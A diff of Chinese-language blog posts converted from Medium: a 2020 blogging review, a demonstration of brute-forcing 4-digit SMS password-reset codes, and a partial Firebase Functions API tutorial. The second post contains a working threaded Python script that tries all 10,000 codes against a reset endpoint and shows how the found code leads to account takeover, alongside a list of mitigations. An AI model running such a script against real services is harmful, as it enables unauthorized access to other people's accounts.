["生活","medium","blog","ios","taiwan"] +description: "遲到遲到再遲到的 2020 回顧" +image: + path: /assets/5ea3311119d8/1*QUUs5mDHixGd6jts8A2W6Q.png +render_with_liquid: false +--- + +### Bye Bye 2020 經營 Medium 第二年回顧 + +遲到遲到再遲到的 2020 回顧 + + + +![[圖片取自 2020 年擔任 iOS Developer 的服務單位 — 街聲 — 簡單生活節官方海報](https://simplelife.streetvoice.com/2020/){:target="_blank"}](/assets/5ea3311119d8/1*QUUs5mDHixGd6jts8A2W6Q.png) + +[圖片取自 2020 年擔任 iOS Developer 的服務單位 — 街聲 — 簡單生活節官方海報](https://simplelife.streetvoice.com/2020/){:target="_blank"} + + +> [_2018–2019 第一年的回顧在這。_](../d01252331b53/) + + + + +### 艱難的一年 + +無關工作,2020 對我來說是艱難的一年;經歷了許多重大挫折,不過還好,都挺過去了。 + +我只想說一句: + + +> 人,要學會珍惜當下、珍惜自己所擁有的。 + + + +### 工作 + +回到工作上,2020 突破舒適圈進入新的環境;讓我接觸到許多新鮮事,吸收了很多 iOS 、工程開發上的精華,雖然 2020 的產文量不如之前、還曾經停止更新了三四個月;但重質不重量,2020 撰寫的文章雖少但表現其實都比之前的好;慢慢有在進步! + +另外去年也用 Google site 把個人網站弄起來了;並持續會把 Medium 新文章消息同步過去。 + + +![[zhgchg\.li](http://www.zhgchg.li){:target="_blank"}](/assets/5ea3311119d8/1*O4AmlRnkMv0jLxpre9bktA.png) + +[zhgchg\.li](http://www.zhgchg.li){:target="_blank"} +### 初衷 + +我還是那個我,我是很懶的人;不會為了寫文章而寫,每篇文章都是自己醞釀了些心得然後立刻下筆記錄下來的歷程,如果發懶沒有一口氣做這件事,我應該也懶得回頭寫了(不過這多半是不重要、不有趣的議題我才會這樣)。 + +缺點就是有時候一頭熱,寫太快,打錯字是小如果內容有錯或不夠完整誤導大家真是罪孽 Orz;所以今年在寫文章時會把能想到、能處理的問題都一並研究處理,就算我當初專案上沒有用到;就算不能處理也留下個訊息提醒讀者還有這個方面要注意。 +#### 寫文章用到的 Chrome Extension +- **再推一次 [Code Medium](https://chrome.google.com/webstore/detail/code-medium/dganoageikmadjocbmklfgaejpkdigbe){:target="_blank"}** 這個 ,可以直接在 Medium 之中使用 Gist 貼上漂亮的程式碼! + + +安裝好之後,在 Medium 上點「\+」然後選最後一個「<>」 + + +![](/assets/5ea3311119d8/1*dhLr-LydWl6vuvcA9P9UNw.png) + + +這時畫面會分為左右,可以直接在右方輸入程式碼: + + +![](/assets/5ea3311119d8/1*lJb-wRFoFgmTTNCBtYJ74g.png) + + +送出之後就會直接以 gist 嵌入 Medium 文章中: + + +![](/assets/5ea3311119d8/1*69EgN0TUBDBEWSDusjDd7Q.png) + + +使用 gist 嵌入程式碼的好處是,支援彩色高亮,方便讀者閱讀;壞處是如果想把 Medium 轉成 markdown 格式時,無法自動將嵌入的程式碼一起轉換,要自己手動 Copy & Paste。 + + +> _\- 試過很多轉換工具都不支援 gist 擷取,如果有朋友知道懇請補充。_ + + +> _\- Medium 內建的程式碼區塊到現在都還不支援彩色高亮顯示,所以只能這樣。_ + + + + +- [**Medium Next Generation Stats**](https://chrome.google.com/webstore/detail/medium-next-generation-st/fhopcbdfcaleefngfpglahlpfhagendo){:target="_blank"} :加強 Medium 後台統計數據顯示 + + + +![](/assets/5ea3311119d8/1*3oHyZfBg6vURkwfvVvblNg.png) + + +每日流量聚合顯示,一眼就能看出今天的流量文章組成。 + +另外還有統計新增的追蹤者、拍手…等等功能。 +### 今年目標 +#### 備份計畫 + +除了繼續寫作外;預計會找個時間把每篇文章都翻成 Markdown 版本並上傳到 Github 進行備份,防止哪一天 Medium 突然爆炸…,目前是使用 [Typora](http://typora.io/){:target="_blank"} 這個編輯器;蠻好用的,之後再來介紹! + + +![[Typora](http://typora.io/){:target="_blank"}](/assets/5ea3311119d8/1*zbgIDgPkq36aU01YSrNGvg.png) + +[Typora](http://typora.io/){:target="_blank"} + +目前進度大約完成 15%,因為很無聊所以有點懶 哈哈。 + + +> _Medium 官方的備份下載只有備份純文字,圖片都還是外連沒有下載回來;更何況程式碼的部分都是內嵌,不能直接在 Markdown 顯示。_ + + + + +#### 獨立網域 + +已經部署上去了,請參考「 [Medium 自訂網域功能回歸](../d9a95d4224ea/) 」。 +- Profile 頁: [blog\.zhgchg\.li](http://blog.zhgchg.li/){:target="_blank"} (我是只用子網域 `blog.zhgchg.li` ,因為主網域有其他用途) + + +但發現會影響 Google SEO,還在考慮&測試要不要真的使用。 +#### Buy Me A Coffee! + +最近也開通了以下服務: +- [Buy Me A Coffee](https://www.buymeacoffee.com/zhgchgli){:target="_blank"} +- [讚賞公民](https://liker.land/zhgchgli/civic){:target="_blank"} + + + +![反正我很閒](/assets/5ea3311119d8/1*CkHby264C3AC5ixNj8qIrw.png) + +反正我很閒 +### 統計 + +最後還是要來個統計! + +2020 年一共發表了: +**16** 篇文章: **3** 篇生活 \+ **2** 篇開箱 \+ **11** 篇技術文章 +#### 全站累積至 2021/02/24 : +- 所有文章瀏覽次數: **180, 000** 次(成長 2倍) +- 所有文章拍手總計: **1,1000** 次(成長 1 倍) +- 追蹤者:突破 400 位(成長 1 倍) + +#### 表現比較好的文章有: +- [iOS UIViewController 轉場二三事](../14cee137c565/) +- [iOS 逆向工程初體驗](../7498e1ff93ce/) +- [iOS 14 剪貼簿竊資恐慌,隱私與便利的兩難](../8a04443024e2/) +- [Apple Watch Series 6 開箱 & 兩年使用體驗](../eab0e984043/) +- [使用 iPhone 簡單製作「偽」透視透明手機桌布](../2e4429f410d6/) + + + +> _2020 一樣感謝大家的支持與愛護,今年也會繼續加油的!_ + + + + + +> _你的回饋就是我寫作的原動力!_ + + + + +ZhgChgLi, 2021/02/24\. + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-life/bye-bye-2020-%E7%B6%93%E7%87%9F-medium-%E7%AC%AC%E4%BA%8C%E5%B9%B4%E5%9B%9E%E9%A1%A7-5ea3311119d8){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2021-03-14-99a6cef90190.md b/_posts/zmediumtomarkdown/2021-03-14-99a6cef90190.md new file mode 100644 index 000000000..790399d15 --- /dev/null +++ b/_posts/zmediumtomarkdown/2021-03-14-99a6cef90190.md @@ -0,0 +1,175 @@ +--- +title: "找回密碼之簡訊驗證碼強度安全問題" +author: "ZhgChgLi" +date: 2021-03-14T15:57:38.256+0000 +last_modified_at: 2024-04-13T16:30:08.749+0000 +categories: "ZRealm Dev." +tags: ["ios-app-development","hacker","web-security","password-security","security-token"] +description: "使用 Python 展示暴力破解的嚴重性" +image: + path: /assets/99a6cef90190/1*xtbLIfJ6KELkGYeVCnzSFg.jpeg +render_with_liquid: false +--- + +### 找回密碼之簡訊驗證碼強度安全問題 + +使用 Python 展示暴力破解的嚴重性 + + + +![Photo by [Matt Artz](https://unsplash.com/@mattartz?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}](/assets/99a6cef90190/1*xtbLIfJ6KELkGYeVCnzSFg.jpeg) + +Photo by [Matt Artz](https://unsplash.com/@mattartz?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"} +### 前言 + +本文沒什麼資安技術含量,單純是日前在使用某平台網站時的突發奇想;想說順手測看看安全性,結果發現的問題。 + +在使用網站、APP 服務的忘記密碼找回功能時;一般會有兩個選項,一是輸入帳號、Email,然後會寄含有 Token 的重設密碼頁面連結到信箱,點擊後打開頁面就能重設密碼,這部分沒什麼問題,除非像 [之前那篇](../142244e5f07a/) 文章所說,設計上有漏洞才會有問題。 + +另一個找回密碼的方式是輸入綁定的手機號碼(多半用在 APP 服務),然後會寄出簡訊驗證碼到手機,完成驗證碼輸入即可重設密碼;但為了便利性,多半的服務都是使用純數字作為驗證碼,另外也因為在 iOS ≥ 11 之後增加 [Password AutoFill](../948ed34efa09/) 功能,當手機收到驗證碼後鍵盤會自動判讀並跳出提示。 + + +![](/assets/99a6cef90190/1*f7frmgNsLwW1Q9e9QtAt1A.png) + + +查找 [官方文件](https://developer.apple.com/documentation/security/password_autofill/about_the_password_autofill_workflow){:target="_blank"} ,蘋果並沒有給出驗證碼自動填入的判讀格式規則;但我看幾乎所有能支援自動填入的服務都是使用純數字,推測應該是只能用數字不能使用數字英文夾雜的複雜組合。 +### 問題 + +因數字密碼的組合存在暴力破解的可能性,尤其是 4 位密碼;組合只有 0000~9999,10,000 種組合;使用多個 thread 多台機器就能分組暴力破解。 + +假設驗證請求需要 0\.1 秒回應,10,000 個組合 = 10,000 次請求 +``` +破解所需嘗試時間:((10,000 * 0.1) / thread 數) 秒 +``` + +就算不開 thread 也只需要 16 多分種就能嘗試出正確的簡訊驗證碼。 + + +> _除密碼長度、複雜度不足之外,還有個問題是驗證碼未設嘗試上限、有效期限太長這兩個問題。_ + + + + +### 組合 + +綜合上述,此資安問題常見於 APP 端;因網頁服務多半都會在嘗試錯誤多次後加上圖形驗證碼驗證或在請求重設密碼時需多輸入安全問題,增加發送驗證請求的困難度;另外網頁服務的驗證若沒有前後端分離,變成每次驗證請求都要拿整個網頁,拉長請求回應時間。 + +APP 端因流程設計及方便使用者,多半會簡化重設密碼流程、有的 APP 甚至是通過手機號碼驗證就能登入;如果在 API 端沒有做防護則會造成資安漏洞。 +### 實踐 + + +> ⚠️警告⚠️ 本文僅作展示此安全問題的嚴重性,請勿拿去做壞事。 + + + +#### 嗅探驗證請求 API + +萬事都從嗅探開始,這部分可參考之前的文章「 [APP有用HTTPS傳輸,但資料還是被偷了。](../46410aaada00/) 」、「 [使用 Python\+Google Cloud Platform\+Line Bot 自動執行例行瑣事](../70a1409b149a/) 」第一篇文章看原理建議使用第二篇文章的 [Proxyman](https://proxyman.io/){:target="_blank"} 進行嗅探。 + + +![](/assets/99a6cef90190/1*22uVkKdpDXnwEygDa9lwyA.png) + + +如果是前後端分離的網站服務也能使用 Chrome \-> 檢查 \-> Network \-> 查看在送出驗證碼後發了什麼請求。 + + +![](/assets/99a6cef90190/1*Skm69eJiZKeK4_QUU0wIoQ.png) + + +**這邊假設得到的檢查驗證碼請求是:** +``` +POST https://zhgchg.li/findPWD +``` + +**Response:** +``` +{ + "status":fasle + "msg":"驗證錯誤" +} +``` +#### 撰寫暴力破解 Python 腳本 + +crack\.py: +```python +import random +import requests +import json +import threading + +phone = "0911111111" +found = False +def crack(start, end): + global found + for code in range(start, end): + if found: + break + + stringCode = str(code).zfill(4) + data = { + "phone" : phone, + "code": stringCode + } + + headers = {} + try: + request = requests.post('https://zhgchg.li/findPWD', data = data, headers = headers) + result = json.loads(request.content) + if result["status"] == True: + print("Code is:" + stringCode) + found = True + break + else: + print("Code " + stringCode + " is wrong.") + except Exception as e: + print("Code "+ stringCode +" exception error \(" + str(e) + ")") + +def main(): + codeGroups = [ + [0,1000],[1000,2000],[2000,3000],[3000,4000],[4000,5000], + [5000,6000],[6000,7000],[7000,8000],[8000,9000],[9000,10000] + ] + for codeGroup in codeGroups: + t = threading.Thread(target = crack, args = (codeGroup[0],codeGroup[1],)) + t.start() + +main() +``` + +執行腳本後我們得到: + + +![](/assets/99a6cef90190/1*jGp69g9H1BjLqq6SdIHRBw.png) + +``` +驗證碼等於:1743 +``` + +將 `1743` 帶入重設密碼更改掉原始密碼或直接登入帳號。 + + +> Bigo\! + + + +### 解決之道 +- 密碼重設增加更多資訊驗證(如:生日、安全問題) +- 增加驗證碼長度(如 Apple 6 碼數字)、增加驗證碼複雜度(如果不影響 AutoFill 功能) +- 驗證碼嘗試錯誤大於 3 次後使其失效,需請使用者重新發送驗證碼 +- 驗證碼有效時限縮短 +- 驗證碼嘗試錯誤過多次鎖定裝置、增加圖形驗證碼 +- APP 多做 SSL Pining、傳輸加解密(防止嗅探) + +### 延伸閱讀 +- [揭露一個幾年前發現的巧妙網站漏洞](../142244e5f07a/) +- [如何打造一場有趣的工程CTF競賽](../729d7b6817a4/) +- [APP有用HTTPS傳輸,但資料還是被偷了。](../46410aaada00/) +- [使用 Python\+Google Cloud Platform\+Line Bot 自動執行例行瑣事](../70a1409b149a/) + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/%E6%89%BE%E5%9B%9E%E5%AF%86%E7%A2%BC%E4%B9%8B%E7%B0%A1%E8%A8%8A%E9%A9%97%E8%AD%89%E7%A2%BC%E5%BC%B7%E5%BA%A6%E5%AE%89%E5%85%A8%E5%95%8F%E9%A1%8C-99a6cef90190){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2021-03-23-9659db1357e4.md b/_posts/zmediumtomarkdown/2021-03-23-9659db1357e4.md new file mode 100644 index 000000000..5c1d05ece --- /dev/null +++ b/_posts/zmediumtomarkdown/2021-03-23-9659db1357e4.md @@ -0,0 +1,863 @@ +--- +title: "使用 Firebase Firestore + Functions 快速搭建可供測試的 API 服務" +author: "ZhgChgLi" +date: 2021-03-23T17:09:34.747+0000 +last_modified_at: 2024-04-13T16:34:17.362+0000 +categories: "ZRealm Dev." +tags: ["ios-app-development","firebase","google-cloud-platform","notifications","ios"] +description: "當推播統計遇上 Firebase Firestore + Functions" +image: + path: /assets/9659db1357e4/1*RVPRxqz2VUuY7NGXSXzmtw.jpeg +render_with_liquid: false +--- + +### 使用 Firebase Firestore \+ Functions 快速搭建可供測試的 API 服務 + +當推播統計遇上 Firebase Firestore \+ Functions + + + +![Photo by [Carlos Muza](https://unsplash.com/@kmuza?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}](/assets/9659db1357e4/1*RVPRxqz2VUuY7NGXSXzmtw.jpeg) + +Photo by [Carlos Muza](https://unsplash.com/@kmuza?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"} +### 前言 +#### 推播精確統計功能 + +最近想為 APP 導入的功能,未實作前我們只能從後端 Post 資料給 APNS/FCM 的成功與否當作推播基數並記錄推播點擊,計算出「點擊率」;但此方法其實非常不準確,基數包含許多無效裝置,APP 已刪除的(不一定會馬上失效)、關閉推播權限的在後端 Post 時都還是會得到成功的回傳。 + +在 iOS 10 之後可以透過實踐 Notification Service Extension 在推播橫幅出現時的時機點偷偷 Call API 回傳做統計;好處是非常精準,只有在使用者推播橫幅有出現才會 Call;如果 APP 刪除、關閉通知、通知沒開橫幅,都不會有動作,橫幅等於有出現推播訊息,用此當推播基數然後再算上點擊數就能得到「精確的點擊率」。 + + +> _詳細原理及實作方式可參考之前的文章:「 [i **OS ≥ 10 Notification Service Extension 應用 \(Swift\)**](../cb6eba52a342/) 」_ + + + + + +> _目前測試下來 APP 的 Loss 率應該是 0%,實際常見應用像是 Line 的訊息點對點加解密(推播的訊息是加密過的,在手機收到才解密然後顯示出來)。_ + + + + +#### 問題 + +APP 端的功其實不大,iOS/Android 都只要實作類似的功能(但 Android 如果要考慮中國市場就比較麻煩,要為更平台實作推播框架內容);比較大的功是後端還有 Server 的壓力處理,因為推播一次出去會同時 Call API 回傳紀錄,可能會塞爆 Server 的 max connection 如果又是使用 RDBMS 儲存記錄可能會更嚴重,如果發現統計數有 Loss 多半發生在此環節。 + + +> _這邊可以以 log 寫檔案方式做紀錄,要查詢時在自行做統計顯示。_ + + + + + +> _另外,後來想想一次出去同時回來的情境,數量可能沒有想像中的大;因為發推播也不會一口氣發個十萬百萬筆,也是幾筆幾筆批次發送;只要能扛住批次發出去同時回來的數量即可!_ + + + + +### Prototype + +因原先有問題中的考量,後端需要花功力研究修改且市場也不一定在意做出來的成效;所以想說先用能使用的資源弄個 Prototype 出來試試水溫。 + +這邊選擇的是 APP 幾乎都會使用的 Firebase 服務,其中的 Functions 和 Firestore 功能。 +#### Firebase Functions + +[Functions](https://developers.google.com/learn/topics/functions){:target="_blank"} 是 Google 提供的 serverless 服務,只需撰寫好程式邏輯,Google 自動幫你弄好伺服器、執行環境,也不用去管伺服器擴充及流量的問題。 + +[Firebase Functions](https://firebase.google.com/docs/functions){:target="_blank"} 其實就是 Google Cloud Functions 但只能使用 JavaScript \(node\.js\) 撰寫,沒試過但如果用 Google Cloud Functions 選擇用其他語言撰寫然後同樣 import Firebase 服務我想應該也能用。 + +用在 API 就是我可以寫一個 node\.js 檔案,得到一個實體 URL \(ex: my\-project\.cloudfunctions\.net/getUser\),自行撰寫取得 Request 資訊和給予相應的 Response 邏輯。 + + +> _之前寫過一篇關於 Google Functions 的文章「 [使用 Python\+Google Cloud Platform\+Line Bot 自動執行例行瑣事](../70a1409b149a/) 」_ + + + + + +> _Firebase Functions 必須啟用 Blaze 專案(用多少、付多少)才能使用。_ + + + + + + +![](/assets/9659db1357e4/1*YqIJ1tr2Ay-oLVjSSU0zUg.png) + +#### Firebase Firestore + +[Firebase Firestore](https://firebase.google.com/docs/firestore){:target="_blank"} ,NoSql 資料庫,用來存放、管理數據。 + +結合 Firebase Functions 可在 Request 時 import Firestore 進來操作資料庫,然後Response 給使用者,就能搭建簡單的 Restful API 服務! + + +> 動手實作開始! + + + +### 安裝 node\.js 環境 + +這邊建議使用 NVM,node\.js 版本管理工具進行安裝管理(像 python 用 pyenv)。 + +到 NVM Github 專案複製安裝 shell script: + + +[![](https://repository-images.githubusercontent.com/612230/53a0c44a-1f6e-4f8d-918f-89762fafe369)](https://github.com/nvm-sh/nvm#installing-and-updating){:target="_blank"} + +```bash +curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.37.2/install.sh | bash +``` + +如果安裝過程出現錯誤,請確認有 `~/.bashrc` 或 `~/.zshrc` 檔案,沒有可用 `touch ~/.bashrc` 或 `touch ~/.zshrc` 建立檔案然後再跑一下 install script。 + +再來就可以使用 `nvm install node` 安裝最新版的 node\.js。 + + +![](/assets/9659db1357e4/1*5fxz4HD9q4feAqO0zXbojg.png) + + +可下 `npm --version` 確認 npm 安裝成功、安裝版本: + + +![](/assets/9659db1357e4/1*VHZMRFIDzFA9AxmsDNqNlA.png) + +### 部署 Firebase Functions +#### 安裝 Firebase\-tools: +```bash +npm install -g firebase-tools +``` + + +![](/assets/9659db1357e4/1*POfMR0p1600iYqy8rzQkTQ.png) + + +安裝成功後,第一次使用請先輸入: +```bash +firebase login +``` + + +![](/assets/9659db1357e4/1*kqeECyXVPOq1cpKvcdOBeA.png) + + +完成 Firebase 登入驗證。 + +啟動專案: +```bash +firebase init +``` + + +![](/assets/9659db1357e4/1*Xx2grpX2PZb3wEFt9mQbNw.png) + + +記下 Firebase init 所在路徑: +``` +You're about to initialize a Firebase project in this directory: +``` + +這邊可以選擇要安裝的 Firebase CLI 工具,按 「↑」「↓」進行選擇,「空白鍵」進行選擇;這邊可以只選擇「Functions」或連「Firestore」一起選擇安裝。 + +**=== Functions Setup** + + +![](/assets/9659db1357e4/1*2gd9pAIdLAkJRhROpJtPKA.png) + +- 語言選擇「 **JavaScript** 」 +- 關於「use ESLint to catch probable bugs and enforce style」語法 style 檢查 , **YES / NO 都可** 。 +- install dependencies with npm? **YES** + + +**===Emulators Setup** + + +![](/assets/9659db1357e4/1*xHWp195BZIZdXyUd-ub78g.png) + + +可在本地環境測試 Functions、Firestore 功能及設定,不會算在使用度且不需等到部署上線才能測試。 + + +> _依個人需求安裝,我有裝但沒有用...因為只是小功能而已。_ + + + + +### Coding\! + +前往上述記下的路徑,找到 `functions 資料夾` ,用編輯器打開裡面的 `index.js` 檔案。 + +index\.js: +```javascript +const functions = require('firebase-functions'); +const admin = require('firebase-admin'); +admin.initializeApp(); + +exports.hello = functions.https.onRequest((req, res) => { + const targetID = req.query.targetID + const action = req.body.action + const name = req.body.name + + res.send({"targetID": targetID, "action": action, "name": name}); + return +}) +``` + +貼上以上內容,我們定義了一個路徑接口 `/hello` 然後會回傳 URL **Query** `?targetID=` 、 **POST** `action` 、 `name` 參數資訊。 + +修改&儲存完成後回到 console 下: +```bash +firebase deploy +``` + + +> **_以後的每次修改都記得要回來下 `firebase deploy` 指令,才會生效。_** + + + + + +開始驗證&部署到 Firebase… + + +![](/assets/9659db1357e4/1*hUdvD4ANKD3s73mLWNZZOQ.png) + + +可能需要稍等一下, `Deploy complete!` 後你的第一個 Request & Response 網頁就完成了! + +這時候可以回到 Firebase \-> Functions 頁面: + + +![](/assets/9659db1357e4/1*SY4iJZL6gDEZ5AEcepIpMA.png) + + +就會看到剛剛撰寫的接口和網址位置。 + +複製下方網址貼到 PostMan 測試: + + +![](/assets/9659db1357e4/1*OMfLkdg12QHsp-yc9RkKvA.png) + + + +> _POST Body 記得選擇 `x-www-form-urlencoded` 。_ + + + + + +**成功!** +### Log + +我們可以在程式碼中使用: +```javascript +functions.logger.log("log:", value); +``` + +進行 Log 紀錄。 + +並可在 Firebase \-> Functions \-> 紀錄中查看 log 結果: + + +![](/assets/9659db1357e4/1*Wi-4MbPh2tVJ_utdhzN4_A.png) + +### Example Goal + + +> 建立一個可新增、修改、刪除、查詢文章和按讚的 API + + + + +我們希望能達成 Restful API 的功能設計,所以不能再使用上面範例的純 Path 方式,要改藉用 `Express` 框架達成。 +#### POST 新增文章 + +index\.js: +```javascript +const functions = require('firebase-functions'); +const admin = require('firebase-admin'); +const express = require('express'); +const cors = require('cors'); +const app = express(); + +admin.initializeApp(); +app.use(cors({ origin: true })); + +// Insert +app.post('/', async (req, res) => { // 這邊的 POST 指的是 HTTP Method POST + const title = req.body.title; + const content = req.body.content; + const author = req.body.author; + + if (title == null || content == null || author == null) { + return res.status(400).send({"message":"參數錯誤!"}); + } + + var post = {"title":title, "content":content, "author": author, "created_at": new Date()}; + await admin.firestore().collection('posts').add(post); + res.status(201).send({"message":"新增成功!"}); +}); + +exports.post= functions.https.onRequest(app); // 這邊的 POST 指的是 /post 路徑 +``` + +現在我們改用 Express 來處理網路請求,這邊先新增一個 路徑 `/ 的 POST` 方法,最後一行表示路徑都在 `/post` 之下,再來我們會加上修改、刪除的 API。 + +下 `firebase deploy` 部署成功後,回到 Post Man 測試: + + +![](/assets/9659db1357e4/1*yVAjhlr6wLdONeG7nY0VEw.png) + + +Post Man 打成功後可以再到 Firebase \-> Firestore 檢查一下資料是否有正確寫入: + + +![](/assets/9659db1357e4/1*xYVrRdFro3bQVHx05JUaTw.png) + +#### PUT 修改文章 + +index\.js: +```javascript +const functions = require('firebase-functions'); +const admin = require('firebase-admin'); +const express = require('express'); +const cors = require('cors'); +const app = express(); + +admin.initializeApp(); +app.use(cors({ origin: true })); + +// Update +app.put("/:id", async (req, res) => { + const title = req.body.title; + const content = req.body.content; + const author = req.body.author; + const doc = await admin.firestore().collection('posts').doc(req.params.id).get(); + + if (!doc.exists) { + return res.status(404).send({"message":"找不到文章!"}); + } else if (title == null || content == null || author == null) { + return res.status(400).send({"message":"參數錯誤!"}); + } + + var post = {"title":title, "content":content, "author": author}; + await admin.firestore().collection('posts').doc(req.params.id).update(post); + res.status(200).send({"message":"修改成功!"}); +}); + +exports.post= functions.https.onRequest(app); +``` + +部署&測試方式如新增,Post Man Http Method 記得改成 `PUT` 。 +#### DELETE 刪除文章 + +index\.js: +```javascript +const functions = require('firebase-functions'); +const admin = require('firebase-admin'); +const express = require('express'); +const cors = require('cors'); +const app = express(); + +admin.initializeApp(); +app.use(cors({ origin: true })); + +// Delete +app.delete("/:id", async (req, res) => { + const doc = await admin.firestore().collection('posts').doc(req.params.id).get(); + + if (!doc.exists) { + return res.status(404).send({"message":"找不到文章!"}); + } + + await admin.firestore().collection("posts").doc(req.params.id).delete(); + res.status(200).send({"message":"文章成功!"}); +}) + +exports.post= functions.https.onRequest(app); +``` + +部署&測試方式如新增,Post Man Http Method 記得改成 `DELETE` 。 + +新增、修改、刪除做完了,來做查詢! +#### SELECT 查詢文章 + +index\.js: +```javascript +const functions = require('firebase-functions'); +const admin = require('firebase-admin'); +const express = require('express'); +const cors = require('cors'); +const app = express(); + +admin.initializeApp(); +app.use(cors({ origin: true })); + +// Select List +app.get('/', async (req, res) => { + const posts = await admin.firestore().collection('posts').get(); + var result = []; + posts.forEach(doc => { + let id = doc.id; + let data = doc.data(); + result.push({"id":id, ...data}) + }); + res.status(200).send({"result":result}); +}); + +// Select One +app.get("/:id", async (req, res) => { + const doc = await admin.firestore().collection('posts').doc(req.params.id).get(); + + if (!doc.exists) { + return res.status(404).send({"message":"找不到文章!"}); + } + + res.status(200).send({"result":{"id":doc.id, ...doc.data()}}); +}); + +exports.post= functions.https.onRequest(app); +``` + + +![](/assets/9659db1357e4/1*n_mI4l1EmhpWK8M_FbrzbQ.png) + + +部署&測試方式如新增,Post Man Http Method 記得改成 `GET` 還有將 `Body` 切回 `none` 。 +#### InsertOrUpdate? + +有時候我們需要當值存在時做更新,當值不存在時新增,這時候可以用 `set` 搭配 `merge: true` : + +index\.js: +```javascript +const functions = require('firebase-functions'); +const admin = require('firebase-admin'); +const express = require('express'); +const cors = require('cors'); +const app = express(); + +admin.initializeApp(); +app.use(cors({ origin: true })); + +// InsertOrUpdate +app.post("/tag", async (req, res) => { + const name = req.body.name; + + if (name == null) { + return res.status(400).send({"message":"參數錯誤!"}); + } + + var tag = {"name":name}; + await admin.firestore().collection('tags').doc(name).set({created_at: new Date()}, {merge: true}); + res.status(201).send({"message":"新增成功!"}); +}); + +exports.post= functions.https.onRequest(app); +``` + +這邊以新增 tag 為例,部署&測試方式如新增,可以看到 Firestore 不會一直重複新增新資料。 + + +![](/assets/9659db1357e4/1*qkTMGjC0EkrMO85-6pQFwg.png) + +#### 文章按讚計數器 + +假設我們的文章資料現在多一個 `likeCount` 欄位紀錄按讚數量,那我們該怎麼做呢? + +index\.js: +```javascript +const functions = require('firebase-functions'); +const admin = require('firebase-admin'); +const express = require('express'); +const cors = require('cors'); +const app = express(); + +admin.initializeApp(); +app.use(cors({ origin: true })); + +// Like Post +app.post("/like/:id", async (req, res) => { + const doc = await admin.firestore().collection('posts').doc(req.params.id).get(); + const increment = admin.firestore.FieldValue.increment(1) + + if (!doc.exists) { + return res.status(404).send({"message":"找不到文章!"}); + } + + await admin.firestore().collection('posts').doc(req.params.id).set({likeCount: increment}, {merge: true}); + res.status(201).send({"message":"按讚成功!"}); +}); + +exports.post= functions.https.onRequest(app); +``` + +運用 `increment` 這個變數就能直接做到取出值 \+1 的動作。 +#### 大流量文章按讚計數器 + +因為 Firestore 有 [寫入速度限制](https://cloud.google.com/firestore/quotas?hl=zh-tw#soft_limits){:target="_blank"} 的: + + +![](/assets/9659db1357e4/1*U9ubGe3M8XEdx9XGAV8nfA.png) + + +**一個文檔一秒只能寫入一次** ,所以當按讚的人一多;同時請求下可能會變得很慢。 + +官方給的解決方法「 [Distributed counters](https://cloud.google.com/firestore/docs/solutions/counters#node.js_2){:target="_blank"} 」其實也沒什麼高深的技術,就是多用幾個分散的 likeCount 欄位來統計,然後讀取的時候再加總起來。 + +index\.js: +```javascript +const functions = require('firebase-functions'); +const admin = require('firebase-admin'); +const express = require('express'); +const cors = require('cors'); +const app = express(); + +admin.initializeApp(); +app.use(cors({ origin: true })); + +// Distributed counters Like Post +app.post("/like2/:id", async (req, res) => { + const doc = await admin.firestore().collection('posts').doc(req.params.id).get(); + const increment = admin.firestore.FieldValue.increment(1) + + if (!doc.exists) { + return res.status(404).send({"message":"找不到文章!"}); + } + + //1~10 + await admin.firestore().collection('posts').doc(req.params.id).collection("likeCounter").doc("likeCount_"+(Math.floor(Math.random()*10)+1).toString()) + .set({count: increment}, {merge: true}); + res.status(201).send({"message":"按讚成功!"}); +}); + + +exports.post= functions.https.onRequest(app); +``` + + +![](/assets/9659db1357e4/1*GhNEcWUjgvYRYCMBk1DayA.png) + + +以上就是分散出欄位來紀錄 Count 避免寫入太慢;但如果分散的欄位太多會增加讀取成本\($$\),但應該還是比每次按讚都 add 一筆新紀錄還便宜。 +#### 使用 Siege 工具進行壓力測試 + +使用 `brew` 安裝 `siege` +```bash +brew install siege +``` + +_p\.s 如果你出現 brew: command not found 請先安裝 [brew](https://brew.sh/index_zh-tw){:target="_blank"} 套件管理工具_ : +```bash +/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" +``` + +安裝完成後可下: +```bash +siege -c 100 -r 1 -H 'Content-Type: application/json' 'https://us-central1-project.cloudfunctions.net/post/like/id POST {}' +``` + +進行壓力測試: +- `-c 100` :100 個任務同步執行 +- `-r 1` :每個任務執行 1 次請求 +- `-H ‘Content-Type: application/json’` :如果是 POST 時需加上 +- `‘https://us-central1-project.cloudfunctions.net/post/like/id POST {}’` :POST 網址、Post Body \(ex: `{“name”:”1234”}` \) + + +執行完成後可看到執行結果: + + +![](/assets/9659db1357e4/1*BUcMfJJ4x_mgK0HHLc6C4g.png) + + +`successful_transactions: 100` 表示 100 次都執行成功。 + +**可以回 Firebase \-> Firestore 查看結果是否有 Loss Data:** + + +![](/assets/9659db1357e4/1*wd5z743Zp9xtjKhhcMaVOg.png) + + + +> 成功! + + + +#### 完整 Example Code + +index\.js: +```javascript +const functions = require('firebase-functions'); +const admin = require('firebase-admin'); +const express = require('express'); +const cors = require('cors'); +const app = express(); + +admin.initializeApp(); +app.use(cors({ origin: true })); + +// Insert +app.post('/', async (req, res) => { + const title = req.body.title; + const content = req.body.content; + const author = req.body.author; + + if (title == null || content == null || author == null) { + return res.status(400).send({"message":"參數錯誤!"}); + } + + var post = {"title":title, "content":content, "author": author, "created_at": new Date()}; + await admin.firestore().collection('posts').add(post); + res.status(201).send({"message":"新增成功!"}); +}); + +// Update 